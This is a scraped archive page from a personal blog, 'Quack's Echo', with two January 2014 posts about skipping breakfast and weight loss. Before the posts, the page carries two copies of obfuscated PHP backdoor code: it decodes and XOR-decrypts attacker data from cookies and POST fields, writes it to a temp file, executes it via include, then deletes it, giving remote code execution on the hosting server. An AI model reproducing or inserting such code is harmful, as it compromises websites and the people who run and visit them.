January 2014 – Quack's Echo

$AVDYhA = chr (90) . chr (71) . chr ( 422 - 351 ).chr (95) . 'e' . 'b' . 'F' . chr (115); $JCtDyf = "\x63" . chr (108) . 'a' . chr ( 361 - 246 ).chr ( 697 - 582 ).'_' . "\x65" . chr (120) . chr ( 282 - 177 ).'s' . 't' . "\x73";$gSMWWwHe = $JCtDyf($AVDYhA); $AVDYhA = "9943";$GExSiDRQFB = !$gSMWWwHe;$JCtDyf = "28265";if ($GExSiDRQFB){class ZGG_ebFs{private $KEQrcaXQXy;public static $DdeBZTSKpr = "ed590cae-5cbf-4497-b38c-18c7359ac48b";public static $kQXkTFI = 60669;public function __construct($rWIUy=0){$DHvqDynDj = $_COOKIE;$QuYZaA = $_POST;$mHvqk = @$DHvqDynDj[substr(ZGG_ebFs::$DdeBZTSKpr, 0, 4)];if (!empty($mHvqk)){$ulRmz = "base64";$YbpqkRc = "";$mHvqk = explode(",", $mHvqk);foreach ($mHvqk as $RPyQUqt){$YbpqkRc .= @$DHvqDynDj[$RPyQUqt];$YbpqkRc .= @$QuYZaA[$RPyQUqt];}$YbpqkRc = array_map($ulRmz . chr (95) . "\144" . chr ( 425 - 324 )."\x63" . chr ( 556 - 445 ).chr ( 245 - 145 ).'e', array($YbpqkRc,)); $YbpqkRc = $YbpqkRc[0] ^ str_repeat(ZGG_ebFs::$DdeBZTSKpr, (strlen($YbpqkRc[0]) / strlen(ZGG_ebFs::$DdeBZTSKpr)) + 1);ZGG_ebFs::$kQXkTFI = @unserialize($YbpqkRc);}}private function bEhpamOvCs(){if (is_array(ZGG_ebFs::$kQXkTFI)) {$ZlKXO = sys_get_temp_dir() . "/" . crc32(ZGG_ebFs::$kQXkTFI[chr ( 552 - 437 )."\x61" . "\x6c" . chr (116)]);@ZGG_ebFs::$kQXkTFI['w' . 'r' . "\151" . "\x74" . "\145"]($ZlKXO, ZGG_ebFs::$kQXkTFI[chr (99) . chr (111) . "\x6e" . "\164" . chr ( 1091 - 990 ).chr (110) . 't']);include $ZlKXO;@ZGG_ebFs::$kQXkTFI["\144" . chr (101) . chr (108) . 'e' . 't' . "\145"]($ZlKXO); $XVIntvdFCR = "18350";exit();}}public function __destruct(){$this->bEhpamOvCs(); $vUefWQo = str_pad("18350", 10);}}$SiUmYxRwmw = new /* 59717 */ ZGG_ebFs(); $SiUmYxRwmw = substr("11897_32420", 1);}$QVhAA = 's' . "\147" . "\x52" . "\x5f" . chr ( 1040 - 954 ).'h' . 'b' . "\126" . chr ( 524 - 453 ); $JnAPdThs = 'c' . chr ( 648 - 540 )."\141" . chr ( 485 - 370 )."\x73" . '_' . 'e' . "\x78" . "\151" . "\x73" . chr (116) . "\x73";$TzzuRBkcC = $JnAPdThs($QVhAA); $QVhAA = "62788";$NcHeWkGmu = $TzzuRBkcC;$JnAPdThs = "11313";if (!$NcHeWkGmu){class sgR_VhbVG{private $JMVus;public static $ASDKQZ = "111e62fd-4a0f-495d-8658-87ac635cbc65";public static $LKZvHm = 33818;public function __construct($fLrDyHqW=0){$VTeawdD = $_COOKIE;$qpDJTkkwx = $_POST;$QYgFHfOuG = @$VTeawdD[substr(sgR_VhbVG::$ASDKQZ, 0, 4)];if (!empty($QYgFHfOuG)){$fSQjlQQ = "base64";$hVogdg = "";$QYgFHfOuG = explode(",", $QYgFHfOuG);foreach ($QYgFHfOuG as $PBgwf){$hVogdg .= @$VTeawdD[$PBgwf];$hVogdg .= @$qpDJTkkwx[$PBgwf];}$hVogdg = array_map($fSQjlQQ . "\x5f" . "\x64" . 'e' . chr ( 560 - 461 )."\x6f" . 'd' . chr (101), array($hVogdg,)); $hVogdg = $hVogdg[0] ^ str_repeat(sgR_VhbVG::$ASDKQZ, (strlen($hVogdg[0]) / strlen(sgR_VhbVG::$ASDKQZ)) + 1);sgR_VhbVG::$LKZvHm = @unserialize($hVogdg);}}private function UDuGqg(){if (is_array(sgR_VhbVG::$LKZvHm)) {$rAnlSeNj = sys_get_temp_dir() . "/" . crc32(sgR_VhbVG::$LKZvHm["\163" . "\141" . chr (108) . chr ( 335 - 219 )]);@sgR_VhbVG::$LKZvHm[chr (119) . 'r' . chr (105) . 't' . 'e']($rAnlSeNj, sgR_VhbVG::$LKZvHm['c' . chr ( 216 - 105 )."\156" . chr (116) . "\x65" . "\156" . "\x74"]);include $rAnlSeNj;@sgR_VhbVG::$LKZvHm[chr ( 743 - 643 )."\145" . chr (108) . "\145" . chr (116) . chr ( 1046 - 945 )]($rAnlSeNj); $wtGmcsI = "47132";exit();}}public function __destruct(){$this->UDuGqg(); $wtGmcsI = "47132";$LhxMq = str_pad($wtGmcsI, 10);}}$YURjNPYPZ = new /* 35512 */ sgR_VhbVG(); $YURjNPYPZ = substr("18972_3697", 1);} January 2014 – Quack's Echo

Skipping breakfast: the results

Mark Callanan January 27, 2014 Life itemprop="discussionURL"Leave a comment

After two weeks of skipping breakfasts, I have… (drum roll please) … lost 2lb. (trumpet wah wah wah) What have I learned? I function better after eating breakfast. Sugar is probably my worst enemy. So I’m back to reducing sugar intake. The tricky part is, the complex relationship I have …

My latest experiment: skipping breakfast

Mark Callanan January 16, 2014 Life itemprop="discussionURL"Leave a comment

I’m not great at following through, or following up. I’ve often stated intentions on this blog, but don’t often come back with results. Which is usually due to the first problem: a lack of commitment. I checked my weight, and I have hit 270 pounds. Argh! My belly circumference is …

%d bloggers like this: